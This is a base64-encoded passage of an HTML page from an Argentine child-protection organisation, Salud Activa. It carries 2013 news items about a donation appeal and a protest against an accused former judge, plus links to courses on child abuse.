leC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA0Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzE5LmpwZyIgd2lkdGg9Ijc1IiBoZWlnaHQ9IjQxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMS5qcGciIHdpZHRoPSI1MyIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48YSBocmVmPSIjIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDQiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIiBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgIDwvdHI+CgkJICAgICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNTYiIHJvd3NwYW49IjIiIHZhbGlnbj0idG9wIj4KCQkJCQoJCQkJPHRhYmxlIHdpZHRoPSIzMiUiIGJvcmRlcj0iMSIgY2VsbHNwYWNpbmc9IjMiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PGltZyBzcmM9InNyYy9pbWdfdXAvMTYwNTIwMTMuMC5qcGciIHdpZHRoPSIxNDYiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+CgkJCQkJCQkJPC90ZD4gICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBjbGFzcz0idGl0dWxvaG9tZTEiPjxzcGFuIGNsYXNzPSJkZXN0YWNhZG9zIj4xNi8wNS8yMDEzPC9zcGFuPjxicj5TYWx1ZCBBY3RpdmEgbmVjZXNpdGEgZGUgdHUgYXl1ZGEhPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5UcmFiYWphbW9zIGNvbW8gcG9kZW1vczogYmEmbnRpbGRlO29zIHJvdG9zLCBzdXNwZW5zaSZvYWN1dGU7biBkZSByZXVuaW9uZXMgcG9yIGNvcnRlcyBkZSBsdXogeSBhZ3VhLCBqdWd1ZXRlcyB2aWVqb3MsIG1lc2VzIGRlIGF0cmFzbyBlbiBlbCBwYWdvIGRlIHN1cyBwcm9mZXNpb25hbGVzIGRlIGxhIHNhbHVkLiBSZWNpZW50ZW1lbnRlIHR1dmltb3MgcXVlIGNlcnJhciBudWVzdHJvIHF1ZXJpZG8gSG9nYXI6ICZsZHF1bztNZXRhbW9yZm9zaXMmcmRxdW87IGVyYSBlbCBsdWdhciBxdWUgc3VwbyBjb250ZW5lciBhIG5pJm50aWxkZTthcyB5IGomb2FjdXRlO3ZlbmVzIHJlc2NhdGFkYSBkZSByZWRlcyBkZSB0cmF0YSBvIHYmaWFjdXRlO2N0aW1hcyBkZSBhYnVzbyBpbnRyYWZhbWlsaWFyLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwMyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzAzIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjAzLzA1LzIwMTM8L3NwYW4+PGJyPlJFUFVESU8gQSBMQSBQUkVTRU5DSUEgRU4gTEEgRkVSSUEgREVMIExJQlJPIERFIFVOIEVYIEpVRVogQUNVU0FETyBERSBBQlVTTyBTRVhVQUw8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iNyIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9Ijg1IiBjb2xzcGFuPSI0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPkZ1ZSBjYW1hcmlzdGEgZW4gTWFyIGRlbCBQbGF0YSBkdXJhbnRlIGxhIGRpY3RhZHVyYS4gSGFjZSBhJm50aWxkZTtvcywgdmFyaWFzIG11amVyZXMgbG8gYWN1c2Fyb24gZGUgaGFiZXIgYWJ1c2FkbyBkZSBlbGxhcyBjdWFuZG8gZXJhbiBuaSZudGlsZGU7YXMuIExhIGNhdXNhIHByZXNjcmliaSZvYWN1dGU7IHkgbm8gaHVibyBjb25kZW5hLiBNYSZudGlsZGU7YW5hIHRpZW5lIHByZXZpc3RvIGZpcm1hciBzdSBsaWJyby4gRXNhcyBtaXNtYXMgbXVqZXJlcyBwaWRlbiBxdWUgbm8gc2VhIGFkbWl0aWRvIGVuIGxhIGZlcmlhLjwvcD48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxOSUiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDIiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMTkuanBnIiB3aWR0aD0iNzUiIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjYwJSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjxhIGhyZWY9IiMiPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwMiI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMi5qcGciIHdpZHRoPSI3OCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18yNi5qcGciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjYuanBnIiB3aWR0aD0iMiIgaGVpZ2h0PSIyIiAvPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgPC90cj4KCQkgIDwhLS0gRklOIG5vdGEgZGVzdGFjYWRhIC0tPgogICAgICAgIDwvdGFibGU+ICAgICAgICA8L3RkPgogICAgICAgIDx0ZCB3aWR0aD0iNSUiIGFsaWduPSJyaWdodCI+PGltZyBzcmM9ImltZy81eDUuanBnIiB3aWR0aD0iMTUiIGhlaWdodD0iMTUiIC8+PC90ZD4KICAgICAgPC90cj4KICAgIDwvdGFibGU+PC90ZD4KICA8L3RyPgogIDx0cj4KICAgIDx0ZCB3aWR0aD0iMSUiPjxpbWcgc3JjPSJpbWcvNXg1LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjE1IiAvPjwvdGQ+CiAgICA8dGQgY29sc3Bhbj0iMiIgYWxpZ249ImNlbnRlciI+Jm5ic3A7PC90ZD4KICAgIDx0ZCB3aWR0aD0iMiUiPjxpbWcgc3JjPSJpbWcvNXg1LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjE1IiAvPjwvdGQ+CiAgPC90cj4KICAKICA8dGQ+CiAgPHRyPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgICA8dGQgY29sc3Bhbj0iMiI+Jm5ic3A7PC90ZD4KICA8L3RyPgogIDx0ciBhbGlnbj0iY2VudGVyIj4KICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgPHRkIHdpZHRoPSI5NyIgY29sc3Bhbj0iMiIgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iNTQ2IiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMyIgY2xhc3M9ImJvcmRlIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgYWxpZ249ImNlbnRlciIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZCA+PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiBjbGFzcz0idGl0dWxvaG9tZTIiPjx0YWJsZSB3aWR0aD0iIiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYWxpZ249ImxlZnQiIHZhbGlnbj0iYm90dG9tIiBjbGFzcz0idGl0dWxvaG9tZTIiPlJhbmtpbmc8L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGFsaWduPSJsZWZ0IiB2YWxpZ249ImJvdHRvbSIgY2xhc3M9InRpdHVsb2hvbWUyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iIiBoZWlnaHQ9IjM1IiBhbGlnbj0ibGVmdCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIyNSIgY2xhc3M9ImNvbnRlbmlkb2hvbWUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMjUiIGNsYXNzPSJjb250ZW5pZG9ob21lIj48c3Ryb25nPiZidWxsO0xhcyBtJmFhY3V0ZTtzIGxlaWRhczwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJjb250ZW5pZG9ob21lIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iY29udGVuaWRvaG9tZSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImNvbnRlbmlkb2hvbWUiPjxzdHJvbmc+JmJ1bGw7TGFzIG0mYWFjdXRlO3MgY29tZW50YWRhczwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIlIiBoZWlnaHQ9IjIwIiB2YWxpZ249Im1pZGRsZSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0yOTgiIGNsYXNzPSJib3RvbiI+PGltZyBzcmM9ImltZy9mbGVjaGFuYXJhbmphZmdyaXNfMjQuanBnIiB3aWR0aD0iMTQiIGhlaWdodD0iNyIgYm9yZGVyPSIwIiBhbGlnbj0iYWJzbWlkZGxlIiAvPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDElIiBoZWlnaHQ9IjMwIiB2YWxpZ249InRvcCIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0yOTgiIGNsYXNzPSJib3RvbiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTHVkb3RlY2EgR2FyYWJhdG8gLSBQcm95ZWN0byBzYWx1ZGFjdGl2YSwgUG9yIHVuYSBpbmZhbmNpYSBmZWxpeiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iOSUiIGJnY29sb3I9IiNFRkVGRUYiPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzJSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0xNjIiIGNsYXNzPSJib3RvbiI+PGltZyBzcmM9ImltZy9mbGVjaGFuYXJhbmphZmdyaXNfMjQuanBnIiB3aWR0aD0iMTQiIGhlaWdodD0iNyIgYm9yZGVyPSIwIiBhbGlnbj0iYWJzbWlkZGxlIiAvPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDUlIiBiZ2NvbG9yPSIjRUZFRkVGIj4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3JmFtcDtub3RhPTE2MiIgY2xhc3M9ImJvdG9uIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDdXJzbyBJbnRlbnNpdm8gZGUgb3BlcmFkb3IgdGVyYXBldXRpY28gZXNwZWNpYWxpemFkbyBlbiBlbCBhYm9yZGFqZSBkZWwgYWJ1c28sIGxhIHZpb2xlbmNpYSB5IGVsIG1hbHRyYXRvIGluZmFudGlsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIlIiBoZWlnaHQ9IjIwIiB2YWxpZ249Im1pZGRsZSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0yNDIiIGNsYXNzPSJib3RvbiI+PGltZyBzcmM9ImltZy9mbGVjaGFuYXJhbmphZmdyaXNfMjQuanBnIiB3aWR0aD0iMTQiIGhlaWdodD0iNyIgYm9yZGVyPSIwIiBhbGlnbj0iYWJzbWlkZGxlIiAvPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDElIiBoZWlnaHQ9IjMwIiB2YWxpZ249InRvcCIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0yNDIiIGNsYXNzPSJib3RvbiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUFJPR1JBTUEgTEFTIFZJQ1RJTUFTIENPTlRSQSBMQVMgVklPTEVOQ0lBUyAgTWluaXN0ZXJpbyBkZSBKdXN0aWNpYSB5IERlcmVjaG9zIEh1bWFub3MgZGUgbGEgTmFjafNuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI5JSIgYmdjb2xvcj0iI0VGRUZFRiI+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjMlIiBiZ2NvbG9yPSIjRUZFRkVGIj4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3JmFtcDtub3RhPTI1NSIgY2xhc3M9ImJvdG9uIj48aW1nIHNyYz0iaW1nL2ZsZWNoYW5hcmFuamFmZ3Jpc18yNC5qcGciIHdpZHRoPSIxNCIgaGVpZ2h0PSI3IiBib3JkZXI9IjAiIGFsaWduPSJhYnNtaWRkbGUiIC8+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI0NSUiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MjU1IiBjbGFzcz0iYm90b24iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIERpcGxvbWF0dXJhIGVuIEFib3JkYWplIGludGVyZGlzY2lwbGluYXJpbyBkZWwgbWFsdHJhdG8sIGxhIHZpb2xlbmNpYSB5IGVsIGFidXNvIHNleHVhbCBpbmZhbnRpbCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyJSIgaGVpZ2h0PSIyMCIgdmFsaWduPSJtaWRkbGUiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MzAzIiBjbGFzcz0iYm90b24iPjxpbWcgc3JjPSJpbWcvZmxlY2hhbmFyYW5qYWZncmlzXzI0LmpwZyIgd2lkdGg9IjE0IiBoZWlnaHQ9IjciIGJvcmRlcj0iMCIgYWxpZ249ImFic21pZGRsZSIgLz48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjQxJSIgaGVpZ2h0PSIzMCIgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MzAzIiBjbGFzcz0iYm90b24iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFNhbHVkIEFjdGl2YSBuZWNlc2l0YSBkZSB0dSBheXVkYSEgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjklIiBiZ2NvbG9yPSIjRUZFRkVGIj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMyUiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MTA0IiBjbGFzcz0iYm90b24iPjxpbWcgc3JjPSJpbWcvZmxlY2hhbmFyYW5qYWZncmlzXzI0LmpwZyIgd2lkdGg9IjE0IiBoZWlnaHQ9IjciIGJvcmRlcj0iMCIgYWxpZ249ImFic21pZGRsZSIgLz48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjQ1JSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0xMDQiIGNsYXNzPSJib3RvbiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTGxhbWFkbyBwYXJhIHByZXNlbnRhY2nzbiBkZSB0cmFiYWpvcy4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjIwIiBiZ2NvbG9yPSIjRkZGRkZGIiBjbGFzcz0idGV4dG9udWV2byI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIyMCIgYmdjb2xvcj0iI0ZGRkZGRiIgY2xhc3M9InRleHRvbnVldm8iPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGJnY29sb3I9IiNGRkZGRkYiIGNsYXNzPSJ0ZXh0b251ZXZvIj4mbmJzcDs8L3RkPgogICAg